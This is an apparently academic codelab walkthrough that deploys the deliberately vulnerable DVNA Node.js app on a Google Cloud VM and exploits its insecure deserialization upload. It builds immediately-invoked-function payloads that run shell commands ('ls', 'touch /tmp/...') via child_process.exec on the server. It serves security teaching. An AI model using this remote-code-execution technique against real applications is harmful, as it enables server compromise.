Deserialization attacks can lead to devastating remote code execution vulnerabilities in web applications. While they are often associated with object-oriented frameworks in which object serialization is a commonly used feature such as Java and Python, they can also occur in PHP and Javascript.

What you will do

In this codelab, you will set up a vulnerable web application and exploit a Javascript deserialization vulnerability within it using Google Cloud Platform's Compute Engine.

What you'll learn

What you'll need

Begin by instantiating a Ubuntu VM on your Google Cloud Platform account.

Option #1: Web console

Option #2: Cloud Shell

One can bring up a VM via the gcloud command in Cloud Shell. Visit the console and click on the Cloud Shell icon. Then, run the command below to create a firewall rule to allow HTTP traffic and then launch the VM with the rule attached to it.

gcloud compute firewall-rules create default-allow-http \
  --allow=tcp:80 --target-tags=http-server

gcloud compute instances create dvna \
  --image-family=ubuntu-2204-lts \
  --image-project=ubuntu-os-cloud \
  --zone=us-west1-b \
  --machine-type=e2-micro \
  --tags=http-server

Note

When the VM comes up, note its "External IP" address, then click on "SSH" to log into it.

Note that you can also ssh into the VM from Cloud Shell via the command:

gcloud compute ssh dvna

Within the VM, run the following commands to install the latest Docker

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update -y
sudo apt-get install docker-ce -y

Run the Damn Vulnerable NodeJS Application container

sudo docker run -di -p 80:9090 --name dvna appsecco/dvna:sqlite

Note that if you want to shut your VM down, you will first need to execute the command

sudo docker stop dvna

Then, after bringing the VM back up, you can restart the container via

sudo docker start dvna

Test the DVNA instance by either clicking on the "External IP" address link in the Compute Engine UI or by visiting http://<External_IP>

Create a new account on the application

Click on "Register a new account", then use your OdinID login to create one.

Click on "A8: Insecure Deserialization"

Then, click on the Scenario link...

The application emulates a business-to-business process that allows a product manufacturer or distributor to upload a file of JSON objects that creates product entries in a catalog. Make a note of the URL route for the application (e.g. /app/...). When examining the source code of the application, we'll use this route to find the vulnerable code.

Application usage

Create a file in your local file system with the following JSON object in it:

[
  {"name":"Nintendo Switch","code":"15","tags":"gaming console","description":"Nintendo's flagship gaming console"},
  {"name":"Playstation 4","code":"17","tags":"gaming console","description":"Sony's flagshipgaming console"}
]

Click on "Choose File" and select the file you just created to upload the items. Then view the results.

The processing of uploads using JSON must be done on the server side via parsing (e.g. JSON.parse). It should never be done via evaluation. Unfortunately, NodeJS has a serialization and deserialization package that *does* perform an evaluation on the JSON that is being deserialized. If used in an application such as this one, code execution is possible:

Application code

Clone the vulnerable application's git repository

git clone https://github.com/appsecco/dvna

Within this source tree, the code that implements particular URL routes in the application is found in routes/app.js. In the code, search for the route to find an appHandler that is registered which implements the bulk upload POST request (e.g. router.post('/bulk...', )). The code for this particular appHandler is implemented in core/appHandler.js.

Examine the appHandler.js file and find the handler code for the route.

Make a mental note to never use this package in a web application

Search for "<name-of-vulnerable-package> deserialization nodejs" to find a write-up of how to exploit the use of deserialization in this package. We will be using this technique to create a file on the server that is hosting the vulnerable application. Answer the following question for your lab notebook:

This function will be denoted as (..._function()) in the code examples that follow. You will need to replace this with the name of the actual one from the article.

We will now show this in a simple code example.

var serialize = require('<name-of-vulnerable-package>');
var ls_serialize_me = {rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}}
console.log("Serialized: \n" + serialize.serialize(ls_serialize_me));

The code creates an object called ls_serialize_me which is a JavaScript object. Note that this is *not* a JSON object because it does not adhere to the strict definition of JSON's data types! ls_serialize_me contains an object property called rce that is a JavaScript function. The function invokes the exec method in the 'child_process' package to perform an ls of the root file system '/'. It also defines a callback function that sends the output of the function (stdout) to the console (via console.log).

For your lab notebook,

The serialized object creates the function definition, but does not create an invocation of the function. Unfortunately, JavaScript allows you to define and invoke a function via its immediately invoked function expression. To invoke the function when it is defined, we only need to include the function invocation syntax '()'.

Consider the code below. f is defined as a function that outputs 'hello f' to the console. g, on the other hand, declares a function expression that is invoked and returns a value (the number 1).

var f = function() {
  console.log('hello f');
};

var g = function() {
  console.log('hello g');
  return 1;
} ();
console.log(typeof(f))
console.log(typeof(g))

Take the serialized object output from the Serialization example and create a string out of it, escaping any single quotes. At the end of the function definition, include the () to make it an expression that will be invoked upon deserialization. The vulnerability is that the deserialization code does not take into account JavaScript's immediately invoked function expressions which leads to the automatic execution of the function as soon as it is deserialized. A template of this is shown below:

var ls_payload = '{"rce":"...function(){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(ls_payload);

Run the code in repl.it

Is this something you would like to have happen on the server running your web application? An educated guess is that it's not something Equifax wanted.

We are now ready to exploit the DVNA level. Replace the 'ls' command with a 'touch' command that will create a file in '/tmp' on the server if deserialized insecurely.

Create the base serialized object

As done with the prior example, create a serialized object that performs the command. Replace '<ODIN_ID>' with your own OdinID. Note that since we do not care about the output of the command itself, we can simplify the function expression.

var touch_serialize_me = {rce : function(){ require('child_process').exec('touch /tmp/<ODIN_ID>', function() {} );}}
{"rce":"...function(){ require('child_process').exec('touch /tmp/...', function() {} );}"}
var touch_payload = '{"rce":"...function(){ require(\'child_process\').exec(\'touch /tmp/...\', function() {} );}()"}'
var ls_payload = '{"rce":"...function(){require(\'child_process\').exec(\'ls /tmp\', function(error, stdout, stderr) { console.log(stdout) });}()"}';

var touch_payload = '{"rce":"...function(){ require(\'child_process\').exec(\'touch /tmp/wuchang\', function() {} );}()"}'
serialize.unserialize(ls_payload);
serialize.unserialize(touch_payload);
serialize.unserialize(ls_payload);

We will now examine the vulnerable application backend so that we can see what changes we can make on it by running our exploit. In your ssh session on the VM that is running the vulnerable web application container.

sudo docker exec -it dvna /bin/bash
ls /tmp

Now that we have a functional exploit, create a file locally that will contain the exploit. Note that while we escape out the single quote (e.g. \') when the exploit is specified in a JavaScript string denoted by single quotes, we do not need them when uploading the serialized object as a file.

[{"rce":"...function(){ require('child_process').exec('touch /tmp/...', function() {} );}()"}]
ls /tmp

Ensure you have collected all of the necessary screenshots for your lab notebook, then delete the VM to save $.

Alternatively, you can delete the VM via Cloud Shell

gcloud compute instances delete dvna --zone=us-west1-b

Congratulations

You've completed the JavaScript deserialization lab covering: